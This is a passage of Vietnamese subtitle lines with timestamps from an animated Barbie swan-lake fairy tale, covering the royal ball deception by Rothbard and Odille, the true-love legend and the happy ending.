- Ngươi là một thợ săn, phải chứ?

00:38:30.120 --> 00:38:34.360
Một mũi tên thôi và nó sẽ chấm dứt mọi thứ. Ngươi thật là vô dụng.

00:38:34.640 --> 00:38:38.640
Vô dụng như là...một con lợn ấy.

00:38:53.760 --> 00:38:58.620
Ngươi có thể cứu hắn ta. Đưa ta chiếc vương miện và ta sẽ tha cho hắn.

00:39:06.840 --> 00:39:12.000
Ngươi không biết mình đang đối đầu với ai đâu.

00:39:12.120 --> 00:39:14.000
Cha ơi!

00:39:17.600 --> 00:39:19.600
Chaaaaaa!

00:39:34.040 --> 00:39:36.800
Thế nào, mùi không hả?

00:39:38.000 --> 00:39:41.640
Tất cả các người đều là kẻ xấu.

00:39:41.760 --> 00:39:44.120
Cha ơi!

00:39:56.040 --> 00:40:02.680
Đây là ngày tệ nhất trong đời con. Cha, con muốn về nhà. Ngay bây giờ!

00:40:02.800 --> 00:40:11.240
Đừng lo lắng, con chỉ cần tắm với giấm và mấy quả cà chua thôi.

00:40:14.560 --> 00:40:16.400
Con là gì? Rau diếp chắc?

00:40:21.800 --> 00:40:23.800
Con phải tắm lâu vào đấy.

00:40:24.960 --> 00:40:27.440
Cảm ơn, nàng đã cứu ta.

00:40:27.480 --> 00:40:32.080
Chừng nào tôi còn đeo chiếc vương miện, tôi còn được bảo vệ khỏi nguy hiểm.

00:40:32.120 --> 00:40:34.400
Ta không xem là như vậy.

00:40:34.640 --> 00:40:36.980
Thật tốt là Người không sao.

00:40:38.000 --> 00:40:39.820
Đây là nơi nào?

00:40:40.000 --> 00:40:45.500
Tôi chưa xem được nhiều nơi lắm, nhưng tôi có thể chỉ cho Ngài xem hồ Thiên Nga.

00:43:20.560 --> 00:43:28.560
Odette, ngày mai mẹ ta sẽ tổ chức một buổi dạ vũ hoàng gia. Nàng sẽ đến chứ?

00:43:29.400 --> 00:43:33.640
Bình minh sắp lên rồi.
- Hãy tới cùng ta. Ta có thể bảo vệ nàng ở cung điện của mình.

00:43:33.680 --> 00:43:36.000
Nàng có thể tới cùng gia đình mình. Xin nàng đấy.

00:43:43.600 --> 00:43:46.720
Daniel, em...em không thể.

00:43:47.080 --> 00:43:52.000
Em không biết tại sao, nhưng em cảm thấy mình và viên pha lê có sự liên kết với nhau.

00:43:52.000 --> 00:43:54.100
Em phải ở đây để giúp đỡ họ.

00:43:54.160 --> 00:43:58.120
Và bằng cách nào đó phá vỡ lời nguyền.
- Ta sẽ không để Rothbard thoát.

00:43:58.320 --> 00:44:01.880
Ta sẽ trở lại với quân đội của mình.
- Chàng không thể. Hắn quá mạnh.

00:44:01.920 --> 00:44:07.140
Hãy nhìn những gì mà hắn đã làm với chúng em xem.
- Ta chấp nhận thử thách.
- Còn những người lính thì sao?

00:44:07.220 --> 00:44:11.320
Hãy về nhà đi. Em sẽ không chịu nổi nếu Rothbard làm chàng tổn thương chỉ vì em.

00:44:11.360 --> 00:44:12.560
Và ta để mặc nàng ở đây sao.

00:44:13.120 --> 00:44:15.760
Chàng thực sự muốn giúp em chứ?
-Dĩ nhiên.

00:44:15.800 --> 00:44:20.080
Vậy thì hãy tới nhà em, nói với họ em không sao và em sẽ trở về sớm.

00:44:20.400 --> 00:44:21.680
Họ chắc hẳn đang rất lo lắng.
- Nhưng...

00:44:21.720 --> 00:44:27.760
Xin chàng, Daniel, vì em đi. Em sẽ vẫn ổn chừng nào còn đeo Viên Pha lê mà.

00:44:36.240 --> 00:44:39.940
Không! Không!

00:44:41.600 --> 00:44:46.160
Chàng phải đi. Ta sẽ đi, nhưng chỉ khi nàng hứa sẽ tới lâu đài.

00:44:46.240 --> 00:44:54.260
Nhưng...- Vậy thì ta ở lại đây với nàng.
- Không. Tối mai em sẽ tới. Em hứa.

00:45:15.240 --> 00:45:18.160
Họ đã đi rồi, thưa Hoàng tử.

00:45:18.200 --> 00:45:19.320
Khi nào họ sẽ trở về?

00:45:19.600 --> 00:45:25.920
Ồ, tôi không biết. Họ đang đi tìm cô con gái út. Cô ấy bị mất tích.

00:45:26.200 --> 00:45:31.040
Khi nào họ trở về, hãy nói với họ tới tìm ta ngay lập tức.

00:45:32.000 --> 00:45:33.600
Chắc chắn rồi.

00:45:44.840 --> 00:45:50.380
Ta đã tìm thấy nó rồi! Ta đã tìm thấy nó rồi!
Quỷ khổng lồ muôn năm.

00:46:03.320 --> 00:46:09.300
Tôi đã nói gì nào? Về hệ thống lưu trữ tuyệt vời của tôi ấy.

00:46:09.600 --> 00:46:13.640
Chỉ là vấn đề thời gian thôi.
-Làm tốt lắm, Erasmus.

00:46:13.650 --> 00:46:14.660
Nó ở đâu vậy?

00:46:14.680 --> 00:46:18.180
Ờ, tôi đã ngồi lên nó.

00:46:19.960 --> 00:46:21.520
Của cô đây.

00:46:48.040 --> 00:46:52.720
Người giữ Viên Pha lê Phép thuật sẽ có
một tình yêu đích thực.

00:46:52.720 --> 00:46:55.120
Nó có thể vượt qua bất cứ một phép thuật xấu xa nào.

00:46:55.160 --> 00:46:58.800
Cô và Hoàng tử.
Tôi biết mà.

00:46:58.840 --> 00:47:02.980
Laila... - Ố ồ.
- Có một chữ tuy nhiên này.

00:47:03.480 --> 00:47:08.800
Tuy nhiên, nếu tình yêu đích thực đó...
- Nghĩa là thân phận Hoàng gia của anh ta.

00:47:08.840 --> 00:47:12.440
Yêu một người khác,
- Nghĩa là không phải Odette?

00:47:12.560 --> 00:47:16.880
Viên Pha lê Phép thuật sẽ mất hết mọi quyền lực.
- Cái gì?

00:47:17.040 --> 00:47:18.680
Điều đó thật không công bằng.

00:47:18.840 --> 00:47:22.240
Không, nhưng truyền thuyết là
không thể thay đổi.

00:47:22.280 --> 00:47:25.480
Và một tình yêu thật sự là rất hiếm.

00:47:25.520 --> 00:47:28.520
Có ai nói rằng tình yêu của cha mẹ là hiếm không?

00:47:28.540 --> 00:47:32.400
Ai cũng có thể nhận được sự hiếm hoi đó đấy.
- Đấy mới chỉ là bắt đầu thôi.

00:47:32.440 --> 00:47:39.100
Nhưng tình yêu đích thực là giữa hai người mà người này yêu người kia còn lớn hơn tình yêu với chính bản thân họ.

00:47:39.320 --> 00:47:42.600
Khi tách rời họ là hai, nhưng khi bên nhau họ là một.

00:47:42.640 --> 00:47:46.200
Đó chính là thứ tình yêu có sức mạnh trên tất cả.

00:47:46.360 --> 00:47:50.880
A, hai mà là một. Tốt lắm, chúng ta sẽ làm để có được nó.

00:47:50.900 --> 00:47:51.820
Làm cái gì cơ?

00:47:51.840 --> 00:47:53.800
Chuẩn bị sẵn sàng cho buổi dạ vũ ngày mai.

00:47:53.840 --> 00:47:56.360
Một buổi dạ vũ? Vào lúc như thế này ư?

00:47:56.400 --> 00:48:04.380
Chắc chắn rồi. Khi cô bước tới,
Hoàng tử nhìn thấy cô, chàng sẽ mời cô nhảy cùng.

00:48:04.380 --> 00:48:12.780
Sau đó, cô sẽ xoay trong vòng tay chàng,
rồi chàng sẽ tuyên bố với cô tình yêu đích thực của hai người.

00:48:13.400 --> 00:48:14.960
Và sau đó tất cả mọi chuyện sẽ được giải quyết.

00:48:15.000 --> 00:48:21.480
Đúng rồi, đúng rồi, cô gái xinh đẹp của tôi.
- Ôi, bình tĩnh nào Ivan, bình tĩnh.

00:48:21.480 --> 00:48:23.980
Ôi, tôi xin lỗi.

00:48:24.000 --> 00:48:26.520
Bên nhau trọn đời.

00:48:26.560 --> 00:48:28.600
Nhưng anh ấy là một Hoàng tử.

00:48:28.640 --> 00:48:30.800
Tôi chỉ là một cô gái quê mùa thôi.

00:48:30.960 --> 00:48:32.680
Con có biết ta nhìn thấy gì không?

00:48:32.960 --> 00:48:40.400
Lòng tốt, nụ cười, sự can đảm. Tất cả đều quý hơn mọi kho báu của Hoàng gia.

00:48:40.560 --> 00:48:43.480
Ta không còn nhiều quyền lực

00:48:43.720 --> 00:48:45.240
Nhưng...

00:48:56.320 --> 00:48:58.600
Trông chị thật là đẹp.

00:48:59.320 --> 00:49:00.560
Cảm ơn em.

00:49:02.360 --> 00:49:07.360
Con nghĩ nó không phải vấn đề nhưng con không biết gì về một buổi dạ vũ cả.

00:49:07.440 --> 00:49:10.640
Không thành vấn đê. Chúng tôi sẽ dạy cô.

00:49:10.760 --> 00:49:14.280
Khiêu vũ là cái tên đệm của tôi đấy.
Tôi có thể chứ?

00:50:23.080 --> 00:50:29.400
Ivan, Ivan, cậu cần thêm một chút tinh tế đấy.

00:51:24.810 --> 00:51:26.310
Tôi thích nó!

00:51:26.320 --> 00:51:32.600
Nhưng tôi vẫn còn thắc mắc một chút về điệu nhảy khi Hoàng tử sắp tuyên bố tình yêu của mình.

00:51:33.000 --> 00:51:34.800
Có lẽ ta có thể giúp.

00:53:15.520 --> 00:53:16.860
Erasmus!

00:53:16.890 --> 00:53:18.200
Không...

00:53:23.040 --> 00:53:24.100
Không...

00:53:36.000 --> 00:53:41.080
Đi nào, chúng ta không thể để Rothbard thắng được. Chúng ta phải đuổi theo.

00:53:53.400 --> 00:53:55.640
Hóa ra là vậy!

00:53:58.400 --> 00:54:04.720
Chẳng có gì trong đó đâu.
Chỉ là một câu chuyện cũ rích thôi mà.

00:54:04.920 --> 00:54:09.060
Cuối cùng ta cũng biết. Không phải là không thể chiến thắng viên Pha lê Phép thuật.

00:54:10.080 --> 00:54:12.400
Cô em họ ta sẽ nói thế nào nhỉ?

00:54:15.520 --> 00:54:18.960
Odille, con chim bé nhỏ cuả ta.
- Vâng, thưa cha?

00:54:19.360 --> 00:54:21.600
Này, xem ngươi đang làm gì hả?

00:54:21.960 --> 00:54:25.840
Con có nhớ chiếc vương miện mà con muốn không?
- Con sắp có nó phải không cha?

00:54:25.880 --> 00:54:28.480
Tối nay tại Hoàng cung sẽ có Dạ vũ.

00:54:29.120 --> 00:54:34.180
Tên gián điệp cho ta biết Odette sẽ tới đó gặp Hoàng tử.

00:54:37.040 --> 00:54:40.440
Cha, đây là cái vòng cổ ưa thích thứ 3 của con đấy.

00:54:40.770 --> 00:54:42.770
Bây giờ nó đã đã có phép thuật.

00:54:42.780 --> 00:54:47.540
Bây giờ, mỗi khi Hoàng tử thấy con, hắn sẽ nhìn thấy tình yêu đích thực của mình.

00:54:47.610 --> 00:54:49.110
Tội nghiệp đứa con gái Odette ngu ngốc đó.

00:54:50.520 --> 00:54:51.560
Vậy..?

00:54:52.520 --> 00:54:58.880
Vậy. Con sẽ lừa hắn, và để hắn tuyên bố tình yêu với con.

00:54:59.720 --> 00:55:04.700
Con có làm được không?
- Kim cương có phải bạn tốt của con không?

00:55:04.800 --> 00:55:07.200
Ôi con chim bé nhỏ của cha.

00:55:08.200 --> 00:55:12.820
Một khi Hoàng tử tuyên bố tình yêu của mình, quyền lực của viên kim cương sẽ phải chịu số phận bi đát.

00:55:12.870 --> 00:55:15.370
Và chúng ta sẽ tới để hoàn thành sứ mệnh của mình.

00:55:15.380 --> 00:55:20.080
Ta sẽ trở thành kẻ thống trị duy nhất của Khu rừng Thần tiên này.

00:55:20.120 --> 00:55:29.120
Và con sẽ trở thành nàng công chúa đẹp nhất, phải không?
- Sau đó...Ai biết được sẽ còn điều gì nữa.

00:55:29.160 --> 00:55:33.200
Thậm chí ta có thể chiếm luôn cung điện Hoàng gia.

00:55:35.520 --> 00:55:36.960
Ngươi sẽ không thành công đâu!

00:55:37.000 --> 00:55:41.000
Quá ngông cuồng với một con quỷ lùn khi nói với vị Vua tương lai đấy.

00:55:54.280 --> 00:55:57.240
Nó làm tôi thấy ớn lạnh.

00:55:57.920 --> 00:56:00.320
Erasmus... Ông ấy...

00:56:00.600 --> 00:56:04.840
Ông ấy vẫ còn sống, nhưng đã bị nguyền.

00:56:05.440 --> 00:56:07.720
Vậy, làm thế nào chúng ta vào trong đó được?

00:56:08.920 --> 00:56:14.440
Rothbard luôn bay khi hắn tới nơi nào đó, có lẽ sẽ có lối vào trên mái nhà.

00:56:14.720 --> 00:56:16.000
Giờ tôi cũng có thể bay.

00:56:16.040 --> 00:56:20.320
Chờ một chút. Vậy chúng tôi chỉ đứng đây và nhìn thôi à?

00:56:20.350 --> 00:56:23.960
Không, tôi sẽ cần sự giúp đỡ của các bạn.

00:57:24.200 --> 00:57:26.960
Erasmus! Erasmus?

00:57:27.040 --> 00:57:28.280
Tôi ở đây.

00:57:30.200 --> 00:57:31.280
Erasmus...?

00:57:31.480 --> 00:57:33.600
Ồ, đừng hỏi tôi.

00:57:33.920 --> 00:57:37.200
Lũ quạ ở khắp mọi nơi và chúng còn đói nữa.

00:57:38.840 --> 00:57:41.200
Này, cô không nghĩ đến chuyện ăn tôi đấy chứ?

00:58:02.880 --> 00:58:05.080
Nhìn xem.

00:58:05.120 --> 00:58:07.400
Mấy con nữa cũng đến kìa.

00:58:54.920 --> 00:58:58.200
Ồ! Chúng ta giỏi thật đấy.

00:59:24.160 --> 00:59:27.400
Daniel, buổi dạ vũ sắp bắt đầu rồi.

00:59:28.120 --> 00:59:29.360
Con đang đợi một người.

00:59:29.400 --> 00:59:31.320
Ta hi vọng đó là một nàng dâu tương lai.

00:59:32.760 --> 00:59:33.800
Con đoán vậy!

00:59:34.280 --> 00:59:36.600
Ôi, điều đó thật tuyệt vời.

00:59:36.640 --> 00:59:40.080
Hãy giới thiệu với ta ngay khi cô ấy tới.

00:59:40.920 --> 00:59:42.400
Nếu cô ấy tới...

00:59:44.840 --> 00:59:49.400
Và sau đó Rothbard sẽ dùng Odille để lừa Hoàng tử Daniel.

00:59:49.440 --> 00:59:51.840
Không, không không. Điều đó sẽ không thể xảy ra.

00:59:52.080 --> 00:59:54.000
Hoàng tử yêu Odette cơ mà.

00:59:54.040 --> 00:59:56.000
Ôi, nếu không sẽ là một thảm họa!

00:59:56.040 --> 00:59:57.240
Hoặc tệ hơn.

00:59:57.280 --> 00:59:59.400
Ôi, cái đầu của tôi nhức quá.

00:59:59.440 --> 01:00:01.320
Tôi sẽ đi. Một khi tôi đã ở đó...

01:00:01.350 --> 01:00:03.440
Không, tôi sẽ đi!

01:00:03.600 --> 01:00:09.200
Cô? Thôi nào. Cô biết có cả tá thợ săn ngoài kia đang chờ để hạ một con thiên nga đẹp như là cô.

01:00:10.000 --> 01:00:12.520
Tôi vẫn còn nhớ đám đông hung dữ đó.

01:00:12.560 --> 01:00:16.960
Người đó phải là tôi. Chỉ có như vậy Daniel mới biết rằng anh ấy bị lừa.

01:00:18.200 --> 01:00:19.800
Cô nói đúng.

01:00:20.360 --> 01:00:23.480
Con hãy dùng viên Pha lê để mở viên đá ở cổng vào.

01:00:24.720 --> 01:00:26.640
Chúc may mắn, con yêu quý.

01:00:26.840 --> 01:00:30.000
Và Odette. Cẩn thận sau lưng cô nhé.

01:00:49.420 --> 01:00:51.820
Cô gái đặc biệt của con đâu?

01:00:51.840 --> 01:00:53.200
Con chẳng thấy bất cứ dấu hiệu nào của cô ấy cả.

01:00:53.240 --> 01:00:55.860
Cho tới khi đó, con không thể đứng một chỗ được.

01:00:55.960 --> 01:00:58.400
Căn phòng tràn ngập các cô gái xinh đẹp.

01:00:59.230 --> 01:01:03.730
Con hãy tìm lấy ai đó để nhảy cùng trong khi chờ đợi.

01:01:05.440 --> 01:01:08.480
Quý bà có thể nhảy cùng tôi không?
- Rất hân hạnh.

01:01:18.320 --> 01:01:20.800
Hãy nhớ. Không được nói một từ nào hết.

01:01:21.160 --> 01:01:22.200
Tại sao không?

01:01:23.320 --> 01:01:25.440
Không được nói!

01:01:29.640 --> 01:01:32.040
Odette... Cô ấy tới rồi.!

01:01:40.160 --> 01:01:41.440
Kính chào Nữ hoàng.

01:01:42.180 --> 01:01:44.300
Thật vui vì nàng đã tới.

01:01:44.320 --> 01:01:45.280
Và em...

01:01:45.300 --> 01:01:48.060
Chúng tôi không thể để lỡ được.

01:01:50.440 --> 01:01:53.440
Nàng sẽ nhảy với ta chứ?

01:02:58.000 --> 01:03:01.900
Em có biết, ta đã hứa với mẹ ta sẽ tìm một nàng dâu trong buổi dạ vũ tối nay.

01:03:02.800 --> 01:03:04.680
Và, ta không bao giờ thất hứa.

01:03:14.880 --> 01:03:18.600
Có vẻ như con trai ta rất thích con gái của ông đấy.

01:03:18.800 --> 01:03:21.480
Thật vậy sao?

01:04:07.160 --> 01:04:08.240
Không!

01:04:19.960 --> 01:04:24.800
Ta đoán giờ là lúc ta nên hỏi
Nàng sẽ lấy ta chứ?

01:04:25.080 --> 01:04:27.520
Không...Không!

01:04:36.520 --> 01:04:41.600
Tôi không thể giúp gì nếu như tôi không nghe:
Có phải Người nói muốn lấy con gái tôi không?

01:04:41.720 --> 01:04:42.740
Đúng vậy!

01:04:42.800 --> 01:04:47.720
Có mọi người ở đây, nhưng tôi phải hỏi:
- Người có yêu cô ấy không?

01:04:48.200 --> 01:04:52.260
Có, ta yêu nàng bằng cả trái tim.

01:05:00.800 --> 01:05:04.640
Cảm ơn Hoàng tử.
Ngươi rất hữu ích đấy.

01:05:09.640 --> 01:05:10.920
Rothbard...

01:05:11.280 --> 01:05:14.820
Ngày nào chúng ta sẽ làm đám cưới đây, chàng trai của em?

01:05:15.600 --> 01:05:17.960
Odette đâu?
- Ai thèm quan tâm chứ?

01:05:18.000 --> 01:05:22.920
Tình yêu của ngươi, ngươi vừa tuyên bố nó với con gái ta.

01:05:29.800 --> 01:05:32.320
Tạm biệt nhé, cái bánh ngọt của em.

01:05:49.200 --> 01:05:50.760
Một khung cảnh thật đẹp.

01:05:50.800 --> 01:05:55.360
Để xem ngươi dũng cảm đến đâu khi không có Viên Pha lê này.

01:05:57.880 --> 01:06:02.060
Cha! Cha có quên điều gì không thế?

01:06:02.080 --> 01:06:05.200
Tất cả là của con, con chim bé nhỏ của ta.

01:06:06.400 --> 01:06:08.580
Như ta đã hứa.

01:06:10.680 --> 01:06:14.180
Nó là của con, phải vậy không?

01:06:16.480 --> 01:06:18.680
Vị cứu tinh trong truyền thuyết, phải rồi.

01:06:19.080 --> 01:06:21.160
Đánh bại ta?

01:06:21.560 --> 01:06:22.760
Cha!

01:06:24.880 --> 01:06:29.960
Ha, ha, ha... Tới để bàn về chương trình tiệc cưới hả, chàng trai?

01:06:33.200 --> 01:06:35.680
Ta nghĩ rằng ngươi đang di chuyển.

01:06:45.600 --> 01:06:47.200
Chúng ta tới quá muộn rồi.

01:06:47.800 --> 01:06:52.840
Không. Tất cả là lỗi của tôi.

01:06:52.880 --> 01:06:56.440
Chờ một chút! Cô ấy vẫn còn sống.

01:07:00.200 --> 01:07:05.600
Vậy, ngươi còn sợ gì nữa?
Ta ở đây này, tới bắt ta thử xem.

01:07:15.000 --> 01:07:17.320
Ôi, ngôi sao bé nhỏ của ta!

01:07:20.000 --> 01:07:22.700
Khốn kiếp thật!

01:07:25.000 --> 01:07:26.000
Tới đây nào!

01:07:36.520 --> 01:07:38.440
Đứa con gái!
- Cha!

01:07:38.600 --> 01:07:42.840
Biến, biến con trở lại đi!

01:07:43.360 --> 01:07:44.360
Cha!

01:07:47.320 --> 01:07:48.680
Im lặng!

01:07:53.440 --> 01:07:58.360
Cha! Đợi con với! Con có một vấn đề nghiêm trọng!

01:08:08.480 --> 01:08:11.240
Cô ấy ổn chứ?

01:09:27.420 --> 01:09:31.560
A, tốt hơn nhiều. Ta không thích chạy quanh như vậy.

01:09:31.600 --> 01:09:33.940
Không tốt cho tiêu hóa.

01:09:34.200 --> 01:09:35.720
Và bây giờ các cô gái.

01:09:37.400 --> 01:09:40.700
Ta không nghĩ vậy đâu, lão già ngu ngốc!

01:09:41.120 --> 01:09:42.840
Đúng vậy đấy!
- Da!

01:09:42.880 --> 01:09:46.540
Hay đấy! Ba chàng lính ngự lâm!
Ha, ha, haa!

01:09:46.960 --> 01:09:50.200
Để cô ấy yên. Ngươi hãy đấu với ta đây!

01:09:50.400 --> 01:09:52.880
Ngươi đúng đấy, cô em họ.

01:10:09.200 --> 01:10:11.760
Ôi, Nữ hoàng!

01:10:13.200 --> 01:10:14.560
Ôi không!

01:10:31.300 --> 01:10:34.520
Đó có phải là tất cả những gì các ngươi có không?

01:10:57.520 --> 01:11:01.360
Ngươi không biết khi nào thì nên từ bỏ, phải không con trai?

01:11:08.260 --> 01:11:13.560
Ngươi thực sự nghĩ rằng mũi tên của loài người yếu đuối có thể hạ được ta sao?

01:11:14.000 --> 01:11:16.080
Không... Daniel!

01:11:17.960 --> 01:11:21.160
Odette! Nàng không còn viên Pha lê nữa!

01:11:41.080 --> 01:11:45.840
Ha, ha, ha! Không tệ nhỉ, các ngươi hai mà là một!

01:11:46.360 --> 01:11:51.280
Cuối cùng! Thế giới này cũng là cũng là CỦA TA!

01:11:51.720 --> 01:11:55.160
Ha, ha, ha!
Cái gì?

01:11:57.920 --> 01:12:00.820
Quyền lực của viên Pha lê vẫn chưa mất.

01:12:03.480 --> 01:12:05.480
Sao lại thế này được?

01:12:06.720 --> 01:12:12.800
Không, Khôôôôông!

01:13:17.320 --> 01:13:18.480
Nhìn kìa!

01:13:20.680 --> 01:13:26.320
Truyền thuyết không nói dối! Đó là tình yêu đích thực! Hai người mà là một!

01:13:38.640 --> 01:13:40.720
Odette...
- Daniel...

01:13:50.960 --> 01:13:57.140
Rothbard đã lừa anh. Em mới là người anh yêu. Nếu như em muốn.

01:14:20.560 --> 01:14:25.000
Ivan! Ivan!
- Gì vậy? Có gì sai sao?

01:14:25.400 --> 01:14:27.960
Không có gai.

01:14:45.140 --> 01:14:50.560
Không thể tin được chúng ta lại ở đây. Hay việc con đã cứu cả Khu rừng Thần tiên.

01:14:50.640 --> 01:14:54.520
Một người bạn đã nói với con rằng: bạn dũng cảm hơn bạn nghĩ đấy.

01:14:54.760 --> 01:14:59.380
Con nghĩ rằng cậu ấy đúng.
- Ta rất tự hào về con.

01:14:59.520 --> 01:15:05.060
Con có thể không? - Trước tiên ta có một điều rất quan trọng cần hỏi con

01:15:05.100 --> 01:15:07.800
Chiếc bánh cưới sẽ có bao nhiêu tầng?

01:15:07.840 --> 01:15:10.280
Sẽ nhiều như ý cha muốn, cha à.

01:15:10.800 --> 01:15:16.400
Và có thể có hoa hồng được không?
Tôi thích hoa hồng.

01:15:19.600 --> 01:15:25.380
Và như thế, Odette đã tìm thấy sự can đảm bên dưới vẻ yên lặng của mình.

01:15:25.480 --> 01:15:26.480
Trong chính cô ấy.

01:15:26.560 --> 01:15:29.240
Vậy sau đó tất cả mọi người đều sống hạnh phúc chứ?

01:15:29.680 --> 01:15:33.080
Ồ, không hoàn toàn như vậy.

01:15:36.000 --> 01:15:43.340
Này, chẳng lẽ không ai quan tâm tôi bị dị ứng với bụi sao?

01:15:45.940 --> 01:15:51.760
Con! Con nghĩ rằng chỉ mình con gặp rắc rối thôi à?

01:15:57.080 --> 01:16:03.560
Em rất vui vì Odette...không phải làm một con thiên nga mãi mãi.

01:16:04.160 --> 01:16:06.160
Mệt rồi hả?
- Aha.

01:16:06.680 --> 01:16:07.960
Em đi ngủ đây.

01:16:13.400 --> 01:16:15.400
Barbie!
Gì cơ?

01:16:15.560 --> 01:16:18.000
Chị sẽ tới xem cuộc đua ngày mai chứ?

01:16:18.080 --> 01:16:21.100
Chị sẽ không để lỡ nó đâu.

ZeroDay Forums Mini